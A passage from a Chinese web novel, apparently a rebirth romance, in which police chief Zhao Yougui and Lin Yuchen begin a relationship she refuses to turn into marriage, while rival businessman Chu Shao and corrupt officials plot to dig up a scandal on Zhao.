“……”林语晨不明白这个时候说谢的涵义。
她揽着他,直到他的气息平静,看着他起身离去,拉起被子蒙头盖住。
——男人……就是这样吧!
赵有归用昨夜的凉水简单清理身体,回头看向蒙头的林语晨,张嘴想说两句又怕吵到她……他摸在裤兜,想起戒指应该落在车上,决定去找来向她求婚。
他出房门,林兰香果然不在家,心里不免有种成功偷家做贼后的劲。
快步去灶间勺大桶温水,拎回林语晨的卧室。
“语晨,有热水,你……”
林语晨在被窝里闷声闷气说:“你出去。”
“好。”赵有归轻咳了声,挠头出门。他去车上找戒指,却半天没找到……心都慌了。
“不会掉在江边吧?”他又转回院子,去灶间端来早饭,敲房门,“语晨,好了吗?”
“嗯,进来吧。”林语晨穿着呢子连衣裙,娉婷地坐在桌前梳头发,看到面前出现的碗,朝他嫣然笑说,“有归哥,你能答应我一件事吗?”
“嗯。”
林语晨扬眉:“你都不问什么事?”
赵有归看着娴静美好的她,忍不住俯身揽住纤细的肩头,下颚抵在她的发顶:“我不担心你说的事。我担心我说的事你不答应。”
狡猾的男人。林语晨暗自点评,拍在胸前的粗壮手臂:“我有些累,想再睡会。你先回家吧。”
“……好。”赵有归不舍地放开她,想下说,
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“下午,我约你出去,可以吗?”
林语晨想起他刚刚的反击,点头答应:“好。”
“记得把早饭吃了再睡。”赵有归叮嘱完,刚走两步又回头,猝不及防地亲在她的脸颊。
“下午,我来接你,别忘了。”
“嗯。”林语晨娇羞地笑着,目送他关门离去。
轻舒口气,忍不住笑两声,快速把早饭吃掉,又漱口。一会后,她脱了裙子,上床睡回笼觉。
被窝里全是赵有归的气息,以及她自身的香味。被窝下的手按在小腹处,呢喃:“不知要几次才行呢?”
带着疑问得她很快又睡着了。
出林家院门的赵有归把吉普车找遍都没找到女士钻戒。首饰盒里的男士对戒在,就是不见女士戒指。
他开车到昨晚的江边,又在路边附近的草地里找。
雨丝绵绵,雪珠子夹杂着薄雪,彻骨寒凉。
“怎么会不见呢?不可能啊!”
——语晨……拿了?
赵有归敲在车门,揉捏太阳穴,面上一片湿漉,长睫覆着阴影,冷静地思考起来。
林语晨若拿走戒指,一是她同意,二是她不希望自己求婚。
而事实已经非常明显。
她同意两人发展成男女、甚至有夫妻关系的情侣。但是,她不会结婚。
“可她有可能收下戒指!”
不,她没有。戒指不见,不代表她收下。除非有一天,她亲自拿出那枚戒指。更甚至……戒指掉在不知名处。
但是,赵有归细想昨晚取出盒子后的所有细节,戒指掉在车外的可能性几乎为零。
因为他是在车里找到合上盖子的男士戒指。
——林语晨甚至怕自己损失更大,取走女士戒指后细心地合上盖子,护住另一枚戒指。
“呃……”赵有归忍不住又啊了声,重重地呼出口气,无奈地笑着。
“她知不知道她可能会怀孕?”
她当然知道!
当初,她跑去省医院就为妇科检查,得知真相后,她惊慌失措想立即去质问楚邵……所以,林语晨要男人,要男女生活、要孩子,却不要结婚!!!!!
得出答案的赵有归有种极度的无力感。他坐回驾驶室,从车斗里取出一盒烟,抽出一根叼在唇尖。
当他想要拿打火机的时候,火机掉在副驾驶的地上,倾过身去捡,手按在副驾驶的座椅上。他拿起火机,看到掌心干暗的血色。
赵有归把烟拿下来,双掌按在副驾驶那片深色处,再次摩挲,指尖干红,确实是血迹。
“语晨……”赵有归的心五味成杂,还有瞬间地荒诞……
他再次取出三封信,在安国学长的名字上细细地拂过去,落在4月1号的日期。
“外国的……愚人节……”
“不愧是你!”赵有归理清思路,把烟塞入烟盒,重新塞进车斗。他从来不抽烟,但有时会给蔡局、谭省递烟,就得备着烟。
“从我收到信得那刻开始,就已经入了你为我量身定制的局。呵……呵呵呵……哈哈哈……”
赵有归笑得很大声,有了然、释怀、幸福……甚至有着难过、伤情……
他看着副驾驶上的痕迹,再次想起昨夜的浪漫,依旧忍不住抽起唇角暖暖地笑着。
脑海里已经自动为她开脱。
“是啊,婚姻于你本就是个噩梦。所以,你宁愿要孩子、情人,却不想有个丈夫。没关系,我可以等,等你想要停下来的时候。”
目光滑过烟气缭绕的灵江,雪夹着雨丝沉默在江面。
男人启动车子,缓缓地开回家。
73. 赵楠天
下午,林兰香看着打扮一新的女儿准备出门,问句:“晚上回来吃饭吗?”
林语晨看向赵有归,示意他来决定。
赵有归张下口,眼神有点躲闪。随后,他正了色,挺身站在林语晨身边,一把握住她的手。
林语晨挣了挣,没能挣脱,挑眉睨去。
赵有归目光坚定地看向林兰香:“林姨,我们和朋友天鸿一起吃饭。吃完饭后,我再送她回来。”
林兰香早起看到门口的吉普车就有些怀疑,如今两人的手握在一起,多少猜到点女儿可能和有归在一起。
她对有归没什么意见,大宝和沈嫂子也是乐见其成。
只是,女儿若真要恋爱,就大大方方、正正经经地谈,别搞些虚头巴脑。
林兰香给女儿一个“回头给我解释清楚”的眼神,朝赵有归以长辈的身份说:“有归,姨就拜托你照顾我家这不着家的姑娘。
有你看着她,姨放心多了。
晨晨,妈就不给你留饭。天冷,穿厚点出门。别现在冻不死,老来像你爸一样,一变天就老寒腿发作。”
“知道了,妈。”林语晨躲在赵有归的伞下,拉着他快步出院子。
赵有归朝望来的林兰香点头,打开后座的车门,请林语晨上车。
林语晨不解:“不坐前面吗?”
赵有归神色幽幽,目光复杂地看去:“我找东西的时候顺便整理车,前面还有点潮湿,你坐后面吧。
我给你做司机行吗?林小姐,请上车。”
林语晨看着打开的后车门,想起拿走的钻石戒指,挺不好意思。
——赵有归的话透露一个信息:他已经猜到一些情况,有些信息可能有待求证。
林语晨以为这是他的试探,一声不吭坐后面。
等他上驾驶室,又问:“那个……”
“嗯?”赵有归从后视镜看去,想到这姑娘的鬼主意多,或许以为自己在试探她,先一步坦荡说,“刚刚林姨同意把你交给我。”
言下之意,两人正在走明路,光明正大化。
林语晨内心的墙垣一下子起立,抱臂靠后,眼身一溜,转移话题:“你帮我查个人吧。”
赵有归沉默的时间有点长。
车子淌过村里的水泥路,上国道,紧接着是灵江边的堤岸。
昨夜江边意乱情迷得一幕同时浮上两人的心头。
赵有归的眼神微微松软,看着镜子里的林语晨转脸看向江内岸,表情看起来有些生气。
这姑娘抿唇时高冷,一副“本姑娘不好惹”;咧嘴笑时又亲切地像是熟到不行的老亲。若要摸她的心思,顺条顺理撸下来,还是有理可循。
赵有归的内心已经屈服,也抿直了唇,缓声回答她的问题:“你想查楚邵?”从后视镜里看着她转回脸,平静地说,“周二你来灵市,我同你说他的消息。”
“好。”林语晨垂眸看着膝头的呢子裙边,想解释什么,又抿上唇。
赵有归收拾心里起伏的情绪,试图展笑:“天鸿在县里的酒吧生意不错,环境很清净,我想带你去坐坐。”
顺便告诉你——我也是重生的事。
然而,林语晨如此介意楚邵的存在。若有人知道她前世的事,会心无芥蒂地同意两人在一起吗?
赵有归不介意,但是林语晨恐怕很难不介意,继而两人的关系多生波折。
爱情让人胆怯、迷茫,甚至失去正确的判断力。
赵有归陷入两难之境:不告诉她,以后被发现就是欺骗。告诉她,她会过不去她自己那关吗?
林语晨往后座中间挪,倾身靠在他的右臂处:“有归哥,你可以告诉天鸿哥,我们在一起的事。我……愿意让大家都知道。”
赵有归忍不住拉起唇角,心仿佛吃蜜般甜。
他以为对林兰香坦白已经是林语晨最大的让步,没想到她不介意向其他人表明两人的关系。
所以,除结婚那一关外,她并不介意告诉全世界两人的关系!
这就够了!
“好!”
林语晨看着他拉起的笑容,也忍不住笑起来。原来让自己在意的人开心,也是一件很快乐的事。
而这对于她来说非常容易。
只要林语晨愿意,能轻易让一个男人既有面子又能服服帖帖。
她可以凭借一言一行掌控他们的情绪。
江源县的惊鸿酒吧,林语晨和赵有归进堂。
与歌舞厅相比,惊鸿酒吧干净清爽,又富有高雅的格调。
张天鸿坐在吧台处,听到入户的门铃声响,回首看去:“哟,林小妹!好久不见。”
“天鸿哥。”林语晨招呼,与赵有归并肩走去。
张天鸿看着两人交握的手,一眼明了:“好啊,咱们赵局长守得云开见月明,终于让你等着了。”
赵有归大大方方地抬起两人交握的手,朝他露出大大的笑容,转向一脸看热闹的林语晨,收敛地轻咳了声:“今天是个好日子,特意来请我最好的朋友、最爱的人吃饭。”
“哇,不一样了。会说好听话了?太难得了。太阳打西边出来?”
好日子?
张天鸿看眼窗外的绵绵冷雨,又看向墙头的日历,打趣他,“我没看出来是好日子。林小妹,什么时候拿证?摆酒找我,天鸿哥帮你办的风风光光。”
林语晨笑而不语,握紧赵有归的手。
赵有归知道她的心思,别说领证,酒都不一定摆得起来。
他让林语晨去挂大衣,走到张天鸿身边,搭在他的肩头,过往的默契让对方理解他半明半暗神色里的意思。
张天鸿举起杯子,点头:“明白了。郎有意、妾无心。”
赵有归朝酒保说:“一杯白水。”
张天鸿扫眼整理衣服的林语晨,轻轻地捶他一拳:“你就不会给我开个张?”倾身问,“真不在她出国前搞定啊?”
赵有归摇头,轻声说:“她还没有定下来的意思。”又说,“你家白水也是天价。”
张天鸿忍俊不禁,没见过赵有归这么窝囊。
“林小妹,喝什么?天鸿哥请客。”
“橘子汁就好。”林语晨见调酒师答应,放好衣服后坐在张天鸿的另一侧,好奇问,“天鸿哥,昨天我听人说你把骆家村的二厂收回来自己管?”
赵有归扫向林语晨,接过调酒师的白开水。
张天鸿轻笑,点她:“耳目还是这么灵啊。这事已经在你们那传开了?钱忠源到年纪,该退休养老了。”
林语晨接过橘子汁:“谢谢。”
赵有归接话:“他有这么容易退?”
“当然不肯了。他想为儿子钱心文铺路。可惜,我爸已经不管事,他说不动我爸,又压不住我,又能怎么办?”
张天鸿左右看看,打趣俩人,“你们俩很有意思啊,都很关心我家的事!谢谢你们了。干。”
三人碰下杯,轻抿一口各自的酒水。
张天鸿看着两人,压下眼里的意味深长,平静地说:“我知道你们担心什么?不过,你们放心,我懂狗急跳墙的道理。我不会让对方有伤害我家人的机会。”
他向两人举杯,再次喝口酒。
林语晨听他的意思是把当年的话记在心上。
张天鸿也确实把潜在的灭门危机放在心头。不然,茉莉不会两年没回家。逢年过节,张爸张妈跑京城去看她。这些都是张天鸿悄无声息做下的防范于未然。
她耸肩,换个话题:“茉莉还没回来?”
张天鸿又笑:“我让她今年别回来,她不肯,直接撂我电话。我妈说:你明年正月出国,茉莉得回来送你。所以,今年她无论如何都要回来。
回来就回来吧。
自从当年那件事后,江源县里大大小小的事,天鸿哥基本有数。”
林语晨听到他再次让人放心的话,也莞尔笑了。
赵有归明白两人说得什么,没有直接插嘴。
门铃声响起,祁连拿着伞,推门进来:“哟,到齐了。”
赵有归打招呼,等人走近,介绍说:“这是林语晨,我……”
“哟,老妹!对吧?你啊,可算回来了。”祁连直接拍开赵有归的手,挨向林语晨,被赵有归捏着肩头往后扯。
张天鸿瞧两人热闹,忍俊不禁地说:“林小妹。这是祁连,江源县局局长,也是我这的常客。与你有归哥算是半个死对头。”
祁连拍开赵有归的手,问酒保要杯进口冰酒,朝张天鸿驽嘴:“别瞎说,我哪能和赵局长比。上次进市里汇报工作,蔡厅长对他夸口称赞。”
又转向赵有归,拍在他肩头,“我跟你说‘功高盖主’。你啊,悠着点吧。被上级当着下级的面夸,不是被敲打就是被惦记。
老哥我没想着越级专权,就送你句话:水至清则无鱼。”
林语晨好奇问:“市局的形势不好吗?”
赵有归拍掉祁连的手:“别听他们瞎说。”
张天鸿碰了下林语晨的橘子汁,示意她喝果汁。
又说:“祁连没有瞎说。往大的说,灵市作为省会城市,发展得比隔壁城市都要好。但是,你看城乡居民,富的富、穷的穷,两极分化。
往近说,骆家村吧。姓淳于的几家都富成什么样,但是一个村在造纸厂打工得那些村民,囫囵个温饱。这矛盾就来了,日渐变大。”
祁连接过酒保的酒,慢慢地喝口:“你说隐晦了。城里的富人富了,但是,咱们当官的兜里比脸还干净,当官干什么呀?
哎,我先说明,我是警察,为人民服务。但其他人呢?”
“全是为人民服务!”赵有归不爱听这话,搁下白水。
其实,他也发现这年来不论是城里还是乡村,人心浮躁不安。
国家没进入高速发展就有些贫富差距的苗头。
未来不知道会变成怎么样。
林语晨听着他们谈论政局的事,喝口橘子汁,有些意兴阑珊。
张天鸿发现她不爱听这些,就说:“小王,带林小姐去酒窖找几瓶好酒。
林小妹,天鸿哥没什么好祝贺你们,你就去酒窖拿些酒回去。别管是给他未来老丈人喝,还是你们自己喝,看中什么挑什么。”
“真得呀?我可不客气了。”林语晨看向赵有归,见他点头滑下高脚座椅。
祁连赶紧说:“林老妹,帮哥也挑一瓶。这家伙的酒都是晨芳那边从港地带回来的进口酒,贵着呢。”
林语晨见张天鸿点头,应道:“好啊。”
张天鸿示意酒保小王带林语晨去
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挑酒,几人又说起灵市政局的情况。
与此同时,苏市的楚家也在谈论灵省政局和市场的变化。
“楚邵,我跟你说,赵楠天回来了。”邵二舅——邵仁文急匆匆进门,见到写寒假作业的林飞成,招呼了声,“飞成在呢?”
林飞成抬起脸,颇为阳光的容貌展出平静的笑容:“嗯。二舅。”
“哎。”邵仁文啧了声,这小子长得和他姐一样好看。
他穿过客厅,看着厨房门口吧台前喝酒的楚邵,皱起眉,“我已经订好饭店,你把单剑雄喊上,还有飞成他姐。”
楚邵给他倒一杯红酒,推去:“不急。”
“怎么又不急了?”邵仁文一口闷掉红酒,又说,“谁急巴巴要把资金送回灵市,如今有突破口又不急了?”
“赵楠天只是去探他老师的口风。这事未必能成。”楚邵轻笑,“不然,咱们打个赌怎么样?”
“赌就赌,舅怕你不成。对了,今年过年你们真回江源县啊?你妈、新意、飞成都去?”
楚邵点头:“我妈惦记我哥,带她们回去看看。再说,我也两年没回去,正好去看看那边的情况。”
“行。时间差不多,走吧?”邵仁文拉起楚邵往外走,“之前,我们试了好几次,打不开灵市的市场。如今,赵楠天肯出头,事情成了,你就能荣归故里。”
林飞成放下笔跑来:“楚哥,我姐也去吗,能带我一起去吗?”
楚邵摸了下林飞成的头:“初中生比我都高。在家好好写作业。过年回老家的时候就不用带作业回去。”
邵仁文看着吃瘪的大男孩,笑出声:“呵呵,飞成,你想吃好吃吧?舅给你带回来。”
大饭店的包间里,楚邵点支烟后坐着不语。
邵仁文看了看手表,忍不住哼出声:“已经过了一个小时。两头白眼狼,每次都让人等。两头吃拿还不办人事。”
楚邵轻咳,看眼手表,严肃的眼神瞟向舅:“时间差不多了。二舅,让她们上热菜吧。”
邵仁文刚出去,单剑雄就进门:“哟,小楚啊,你又早来。咱不是说过嘛,单位放饭有时间,你可以迟些时候到嘛。”
“等两位哥哥是小弟的荣幸,应该的。单哥,坐。”楚邵笑眯眯地请他入座,作势要倒酒。
单剑雄赶紧说:“等等等等……今天的主客不是我。楠天还没来呢。”
赵楠天姗姗来迟,而且是一个人。
他瞟向在座得眼神期待的三人,含笑入座。
“老赵,这次可是大出风头。哎,菲菲没和你一起来?”单剑雄打趣他。
赵楠天扫眼同样一脸期待的楚邵,笑说:“我早上刚回来,劳烦她给我按摩,现在累睡着了。”
“哦哦哦,不愧是你。”单剑雄拍在他肩头,眼神瞥向楚邵。
楚邵赶紧起身,亲自给赵楠天、单剑雄倒酒,又让服务员给两人洗手上大菜。
邵仁文看着服务周到的楚邵,朝客服说:“好了,你们出去吧。”
服务员鱼贯而出。
楚邵举起杯子敬两人:“赵哥、单哥,这杯小弟敬你们,为我的事真是麻烦你们了。”
两人意味深长地笑笑,举起杯子抿口酒。
赵楠天不卖关子,直接说:“这次,我确实见到老师。但是,老单知道,老师明年就退休,能帮我们就明年这一年。”
单剑雄点头:“我想挪地方,还得老师肯出面帮忙。”
“是啊。”赵楠天看向楚邵,“钱是个好东西。但是,不是人人都想要它。”
楚邵微愣,若按前世走向,赵楠天和单剑雄在灵市作为左右护法国师,一个管土建、一个管商,没道理进不去灵市的官场。
“赵哥说得这个人应该不是……”
赵楠天点头:“不是老师。另有其人。”
“谁?”单剑雄好奇,“灵市现在的经济发展很好,没人不眼红,除非他们自己人已经吃得够饱,不想给外面人尝鲜。”
“恰恰相反。他们兜里比脸还干净,捞着名声可没捞着后半生。”赵楠天举杯,同三人喝口,又说,“老师说了,灵市有两把武器。一把剑,一张盾,有这两样东西在,咱们这种……进不去。”
“剑是什么?盾又是什么?”邵仁文急忙问。
赵楠天没搭理他,看向单剑雄和楚邵:“剑是一个人。你们猜是哪个部门,又是什么职位?”
卖好关子就开始吃菜。
单剑雄猜不出。
楚邵摇着酒杯,缓缓说:“灵市公安局局长,赵有归。他是这把剑!”
赵楠天挑眉:“不错。你猜对了,正是他。”
“这人什么来头,连老师这种级别都不敢轻举妄动?”单剑雄奇了怪了。
赵楠天看眼楚邵,继续说:“据说这个人,军人出身,做事严谨,一丝不苟,参与过灵市黑势力大案。你记得两年多前全国通报嘉奖的5.18特大黑势力团伙案吗?他就是获得头功得那位。
今年上半年,一家公司老总想低价拿灵市一块地,走商局那边的路子。
结果,赵有归这家伙连商局都给人一锅端。”
赵楠天拿手指敲击在餐桌上,眼神里带着钦佩和锋芒,“你们说,这种人守着灵市的官场,谁敢不长眼犯法?”
74. 走明路
饭局上沉默一瞬。
邵仁文吐槽:“这种人一定很惹人讨厌吧,政敌满天飞。”
赵楠天轻笑:“恰恰相反,老师说起他时没有一句不好的话,甚至对他多有夸赞,有种……英雄惜英雄的意思。”
说完喝口酒,让大家慢慢消化这个人。
沉默再次蔓延。
单剑雄看大家好像被这个名字震住,直接大笑出声:“有你说得这么厉害吗?小楚,你不是灵市人吗?你来说说。”
楚邵看向两人,清清淡淡一笑,摇头不语。
单剑雄嗤笑:“这么说,姓赵的不走,咱们就进不去灵市?”
赵楠天呵笑:“话没说完。除这把剑是拦路虎外,你知道这张盾又是什么吗?”
单剑雄挑眉:“晨芳国际市场吧?近年来,它给灵市带多少税收,大家有目共睹。”
“没错。”赵楠天点头,“除国内的三大市的大市场,就属它在国内首屈一指,护着灵江市的经济。”忍不住叹了声,“老师说,他可以开方便之门,但是,我们进场后怎么活?不由他说了算。”眼神一斜,示意单剑雄看向一直默不作声的楚邵。
单剑雄明白他的意思,朝楚邵说:“小楚,你能说出赵有归赵局长的名字,应该有点交情吧,不能找他通融通融?”
楚邵拉起唇角,三分讥讽七分谄笑,眼神里带分了然。
赵、单的眼神露出饿狼般的贪婪,挂在唇角的笑容带几分天不怕地不怕气势。
“赵有归,赵局长嘛!我和他……邻居,隔壁村的。等公司放假后,回老家会会他。”楚邵没给两人想要的允诺。
单剑雄和赵楠天知道这事棘手,一起呵呵发笑,举杯敬他。
饭局末点,赵楠天撂下话:“情况就是这么个情况。小楚,你有钱,我们有人,但是剑悬在那,怎么搞?那就……再看嘛。”
“是是是。这事还得看小楚的本事。”单剑雄狡猾,一言把事情推出去,又说,“这趟楠天兄辛苦了,得好好犒劳犒劳。”
楚邵轻扯唇角:“赵哥跑这么远确实辛苦,二舅,一会你把咱们准备好的点心打包让赵哥带回去。”
赵楠天拍在单剑雄的肩头,一副哥两好的作态:“呵呵,小楚还是这么大方客气。对了,菲菲上次说有种进口酒口感很好,回头分享给单老弟。”
单剑雄连忙说:“好说好说。干。”
几人闻声笑着,陪一杯。
饭局后,邵仁文送走两人,回到包间:“大外甥,两孙子什么意思,指望我们把那姓赵的搞定吗?他们办不成事情,还敢问你要辛苦费?真以为给我们打工吗?
他们挪位置,好得不是他们自己吗?呸,两个贪心货。”
楚邵挥了挥手:“舅,可以花钱解决的事都是小事。正如赵楠天说得那样,钱花不出去才是麻烦事。”
“你财大气粗。不过,你说得对,像那个赵……有归,给他钱都使不进,怎么搞?”邵仁文见他点烟不说话,又说,“别到时候,你一心回家乡致富,投进大把钱,结果都扣在那出不来。
我说你干嘛非得回去?”
楚邵重重地吸两口,把烟头抿在盘里熄灭,披上黑呢大衣,踏步出门。
邵仁文拍下嘴,在前台拿上点给林飞成的烤鸡,紧跟上去。
上车后,邵仁文在副驾驶位置回头问:“大外甥,姓赵得油盐不进,要不给他来点辣的尝尝?”
楚邵暗舒口气,抿起唇轻笑:“舅,赵有归不是个简单人。等我回去会会他再说吧。”
“行。你是老板你说了算。”邵仁文看着后视镜里一派大佬作风的外甥,哼笑了声。
车子快到楚家时,楚邵从后座拍在邵仁文的肩头,待他靠过来,蹙眉说:“上次,你说有人可以帮忙调查别人的事?”
“对。留洋回来,说是私家……侦探,手里拿那么大个相机,能拍彩色照片。”邵仁文起了兴趣,“你想我叫这个人去……”
楚邵沉声说:“多花点钱,让他在开春前都盯着赵有归,找找他日常生活里的破绽。当官得最怕不检点,若有作风问题,一旦曝光,以他硬汉性格,多得是人拉他下马。”
“明白,包在舅身上。”邵仁文笑了,“咱就说没有钱支使不了的小鬼。”
另一边,赵楠天又去林菲儿的住处,扔给她一包钱,拥着她:“你要买什么自己拿钱花。钱藏哪,你看着办。”
林菲儿点头,打开包装,清点:“十万?他可真大方!”
赵楠天轻笑:“他不就盼着我这趟顺利嘛!即使不顺利,他也会出这个钱。若是我顺利,他的目的能达成,对于双方就是两全其美。
你说,楚邵会不会对赵有归出手?”
林菲儿收好钱,倒杯茶端到茶几:“赵有归啊!呵,硬茬子。我爸会栽,就是他策反楚邵。”
“哦?没听你提过啊。这么说楚邵和他很熟?”赵楠天沉思起来,别到时候这姓楚得把人骗进局,让赵有归捡现成政绩。
“熟……不至于。我从深地回来的时候,坐火车到灵市,当时来接我的警察就有赵有归。他与楚邵心尖上的人有些瓜葛。若是赵有归动那个人,楚邵就一定会杀他。”
林菲儿宛如深邃星空的幽暗眼神泛出一点星光,搭在赵楠天的肩头,“前段时间,楚邵的工地上有人闹事,不是被他摆平么?对他来说,杀人?
小事吧!”
赵楠天呵笑了声,拥住她:“有时候我真觉得他是一头可怕的狼,蛰伏在暗处,随时准备扑出来咬人。而你是他调教得最好的利齿。”
林菲儿媚眼横斜,龇牙吓唬他,又笑:“他是饿狼,你是恶虎。你和老单两个人帮他拿下苏市几个大工程。他再凶恶,也不敢跟老虎叫板。你们一条船上的人,离了谁,这船都得翻。”
“呵呵呵,你可真是我的明珠儿。”赵楠天亲着她,“今年,你回老家,别和他走太近。记住,现在是我的女人。”
“知道。他回去是想见那个女人。呵!”林菲儿抵在他的肩头,眼神清冷又带怨毒,“我就是脱光在他面前自.慰,他也看不上我。”
“狗眼不识金镶玉。他不懂你的好,我懂。说起来,你一直说那个女人……那个女人,究竟是谁?”赵楠天听了两年“那个女人”,都有兴趣会一会她。
“不急。等你们成功进入灵市官场,总有一天会碰上她。若是你或老单看上她,我可以帮忙给你们介绍。”
林菲儿勾起唇角,眼里毫不隐藏那份恶毒。
赵楠天钳住她的下颚,啧了声:“我就喜欢你这份又狠又毒的劲儿,特劲道。”
“唔……呵呵……”林菲儿被他扑倒在沙发,空洞的眼神看着富丽堂皇的屋顶灯饰,配合着咿咿呀呀哼笑。
——
从惊鸿酒吧出来,天色已经阴得看不见路。
林语晨坐在副驾驶,看着开车的赵有归:“读过《东周列国志》子玉的故事吗?书中云:‘太刚则折’,子玉之谓也。”
赵有归睨她,含笑说:“连你也这么说?可是,有些事是底线。这不是人的性格问题,而是整个团体的基调,有些原则必须严守。”
林语晨听到这话就知道劝不了这头孤狼,轻泄口气:“好吧。我明白你的意思,你的理想和抱负就是黑暗里的灯塔,燃烧自己,照亮别人。”
“呵呵……”赵有归被她逗笑,想起把她看做是爱情、人生灯塔的日子,“灯塔很好。”
林语晨看他心情好,紧接说:“但是,咱们赵局长有时候做事是不是圆滑一点呢?”
赵有归笑不可遏:“圆滑?我已经不动蔡厅提拔的人,不管别人拉帮结派老师学生的玩人际游戏,还要我怎么圆滑?
如果你说得是行贿、放权、以权谋私……那一个人可以做,别人为什么不可以?自控能力差的人都会这样想,继而去这样做。
这样的人一旦多几个,社会还有现在的样子吗?”
林语晨哎了声:“心理学上把这种现象叫破窗效应。只要有第一个打破窗户的人并且没有受到惩罚,后面的人也会跟着效仿打破窗户。”
赵有归空出一只手握住她的掌心,与她十指交握,传递力量:“语晨,你是懂我的人。”
“……”不!曾经我也是跟风打破窗户的人。
但是,我和你一样有原则底线,再如何困难,都不出卖自己的底线。
林语晨感受他掌心的温度,另一只手也握上去。
前世吃得那些苦不就是因为有那些人吗?
若是社会多一些赵有归这样正值、有原则的人,想走歪路的人也会多些忌惮吧。
“有归哥,我有没有说过——你很帅。”
赵有归咧大唇角,什么都没有爱人一句真心的夸赞和支持来得动人。
“语晨,我……会等你回来,一直等到你回来。”
林语晨默默地看着他线条明晰的侧颜,想说那句:戒指在我这。
但是,她的心像被布满荆棘的藤条囚住。话到喉口,被一股诡异的力量扯回去。
她想起前世躺在冷冰冰医院里的绝望感;在偌大富丽的客厅里与男人争执互殴、歇斯底里吵架的场面;母亲委屈流泪、父亲满目痛苦却无法说的画面……
而这些都是与楚邵的婚姻带来的伤痛。
“有归哥,我……”林语晨挣出手,撇开脸朝窗外,眼里有些涩,心头有些难。
赵有归靠边停下车,把人捞过来抱在怀。
他什么都不说,只静静地拍在她的后背。
——语晨,别怕,赵有归会等你,直到你答应得那天。
“有归哥……你觉得感情里有公平吗?”林语晨哑声问。
赵有归感受到她心里的挣扎和仿徨,此时此刻、此情此地,他感觉自己与她无比地贴近。
“如果这世上所有的事都公平,那就没有我们警察的事。
父母对子女、子女对父母、夫妻间、情侣间……论及感情,就谈不上公平与不公平,而是一句:我愿意。”
赵有归托着她的后脑勺,望着她带笑含泪的双眸,忍不住亲上去。
——千金难买我愿意!林语晨,我愿意等你答应得那天!
林语晨扒着他的双肩,随他的投入而慢慢地勾住他的颈项。
目光一撩,路边正有人打手电撑伞走来,手电的光都照进车。
她赶紧推他:“有归哥,有人。”
赵有归扫眼在车外张望的人,想起昨夜,忍不住摸唇角,轻咳着笑了声。
“我送你回家。”
“嗯。”林语晨看着他,不由自主笑起来。
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赵有归时不时看去,姑娘乐起来真得有点傻乎乎,像是儿时那个吃苗子的小丫头。
他分了心,差点把车开进田地。
“有归哥,你别看我,看路。”林语晨吓得不轻。
“好了。要不你来开,我能好好看着你!”赵有归又忍不住瞟去看她。
林语晨看他一本正经地说这句话,忍俊不禁:“如果我出国,你必须得给我写信,先寄给淳于芳,让她用国际快递寄给我。”
“……好。”赵有归莞尔。
回到林家的时候,林大宝和林兰香都没睡,一直在等林语晨。
两人笑闹着进屋,见到严阵以待的长辈,肝都颤了下。
“林叔、林姨,我把语晨送回来了。”赵有归赶紧说。
这股紧张劲儿,好像十五六岁时第一次出格做坏事的感觉,也有第一次拿枪射击敌人时的压力。
“嗯。晨晨,累了吧,先去洗洗。我和有归说说话。”林大宝示意赵有归过来坐。
林兰香拉着一步三回头的林语晨去房间。
林大宝开门见山:“有归,你和晨晨……在一起了?”
“嗯。”赵有归点头。
“好小子!”林大宝严肃的面容瞬间绽笑,拍在赵有归紧绷的肩头,“晨晨怎么说?什么时候扯证、办酒?”
“……”赵有归张下嘴,没想好怎么回,“随时都可以。”看着递来的户口本,绷不住了,“林叔……你这也……”
“我早就准备好了。我和你姨就是这么个意思,在晨晨出国前领证,你们的事定下来。年前办酒有点赶,放在正月十七八办也没事。”林大宝已经迫不及待把半个晚上想的事说出来。
林语晨放开林兰香的手,拉她回堂屋:“爸妈,我和有归哥在谈恋爱,没到结婚那一步呢。”
“……”林大宝瞪去。
林兰香甩手,侧脸对女儿:“你可是二十三了,过完年二十四!”
“二十四怎么了?我还年轻。”林语晨给赵有归使眼色。
不等赵有归赞同,林大宝就戳他心窝子:“有归过完年都三十有一,不年轻了。”
“叔!”赵有归握住林语晨的手,使劲动脑子,“我……也还年轻,等得起。语晨要出国,结了婚后出国,被关口查的事情多不少。
再者,我身份特殊,若外面人知道她是我的妻子,说不定在国外被扣下。”
“……”林兰香瞬间变脸,“这么严重?那正好,林语晨别出国了!”
“妈!”林语晨无语,回握赵有归的手:这借口真高端!
林大宝知道阻挡不了女儿出国,叹了声:“这么说,你回来前,你们都不会领证办酒哦?”
“嗯。”两人同时点头。
林大宝就不明白:“晨晨同意就算了。有归,你怎么也跟着她同意呢?你……不想要老婆孩子热炕头啊?”
“呵,想。”赵有归察觉交握的手用力,赶紧补充,“但是,语晨是为理想、前途。我也会在仕途上努力,成为配得上语晨的男人。”
林兰香张嘴几下,气呼呼说:“她前途、理想?林语晨,你给妈说说,你有什么前途、理想比你的人生大事还重要?”
林语晨甩开赵有归的手,抿直唇:“爸妈,你们让我读书明事理,难道就是为到年纪嫁人吗?你们盼我有出息,又想用世俗的婚嫁人伦捆住我,当初为什么同意我读书?
如今,我有机会出国,去更广阔的世界,为得不是什么前途、理想,就是为我自己。我想做自己想做的事。
有归哥,你是我喜欢的人。我希望我喜欢的人愿意支持我。
你愿意吗?”
“我愿意!”赵有归一把扣住林语晨的肩头,与她前后看着林大宝夫妇,认真说,“叔、姨,你们放心,语晨知道自己要什么、在做什么。我也明白我们间的未来。所以,你们尽可能安心,让她去做她想做的事吧。”
林大宝和林兰香无言以对,感觉挺对不起赵有归。
午间林兰香还跟沈秋霞通过气,明天都不知道怎么面对她。
林语晨道声晚安,拉赵有归出堂屋,带他进房。
一进房,她就把赵有归壁咚在门背后,垫脚亲上去。
赵有归托着她的后脑勺,回应着她的热烈。
气喘嘘嘘的两人在朦胧夜色里相视而笑。
林兰香在门外轻咳:“有归,时间不早,你妈还在家等你呢。”
赵有归抱紧林语晨,再次狠狠地吸口她的芳香,直身说:“知道了,姨。我这就走。”
放开林语晨,轻声说,“晚安。”
“晚安。”林语晨送他出院,回头看向屋檐灯下虎视眈眈的母亲,回个得意的笑容后躲回房。
林兰香气得不知道说什么好:“真是一个愿打一个愿挨。这都要出国,还把人往房里拉,真不让人放心。”
林大宝在床上叹了声:“女大不中留啊。阿香,晨晨出国的预防针打好几年,大学里她不回家说是让我们习惯习惯……她执意出国就随她吧。我们做人父母,不能给孩子一切,总要支持她。”
“用你说!我只是没想到有归都留不下她。这丫头野得没边。”林兰香碎碎念着,上床睡觉。
养儿一百岁,长忧九十九,操不完的心啊!
75. 三聚首
周一天没亮,赵有归就要回市局上班。
